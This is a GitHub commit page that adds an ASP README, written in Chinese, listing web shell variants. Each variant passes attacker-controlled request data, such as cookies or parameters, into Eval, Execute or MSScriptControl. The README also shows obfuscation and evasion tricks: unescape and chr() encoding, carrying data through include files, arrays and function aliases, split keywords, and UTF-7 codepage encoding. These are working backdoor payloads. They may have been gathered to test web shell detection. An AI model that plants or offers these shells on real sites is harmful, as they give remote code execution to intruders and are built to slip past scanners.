Skip to content

Commit

Permalink
Create README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
lufeirider authored Dec 23, 2019
1 parent e9d4ec1 commit 865e57d
Showing 1 changed file with 106 additions and 0 deletions.
106 changes: 106 additions & 0 deletions ASP/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@

# source

#### cookie
```
请求包
GET /1.asp HTTP/1.1
Host: 192.168.66.134
Cookie: response.write(111)'
```

```
<%
eval(""+Request.Cookies)
%>
```

#### 编码
```
<%execute(unescape("eval%20request%28%22aaa%22%29"))%>
```

```
<%Eval(Request(chr(35)))%>
```

#### 语法
```
<%Eval(Request(chr(35))+"")%>
```

# 数据流
#### 文件
1.asp
```
<%
code=Request(1)
%>
```

2.asp
```
<!--#include file="1.asp" -->
<%
response.write(code)
%>
```

访问2.asp?1=response.write(1111)


#### 函数传递
```
<%@LANGUAGE="javascript"%>
<%
param=Request(1)+''
func=eval
func(param)
%>
```

#### 数组
```
<%
x=Request(1)
param = Array(x,"xxx")
eval(param(0))
%>
```


#### 多个<%%>
```
<%code=Request(1)%>
<%
Eval(code+"")
%>
```

# sink

#### 代码执行
Eval、Execute、ExecuteGlobal

#### 组件
2003可以,2008找不到组件
```
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.AddObject "session", session
ms.AddObject "server", server
ms.AddObject "application", application
ms.ExecuteStatement ("ex"&"e"&"cute(request(1))")%>
```

#### utf7编码
```
<%@ codepage=65000%><% response.Charset="936"%>
<%
e+j-v+j-a+j-l(request(1))
%>
```

0 comments on commit 865e57d

Please sign in to comment.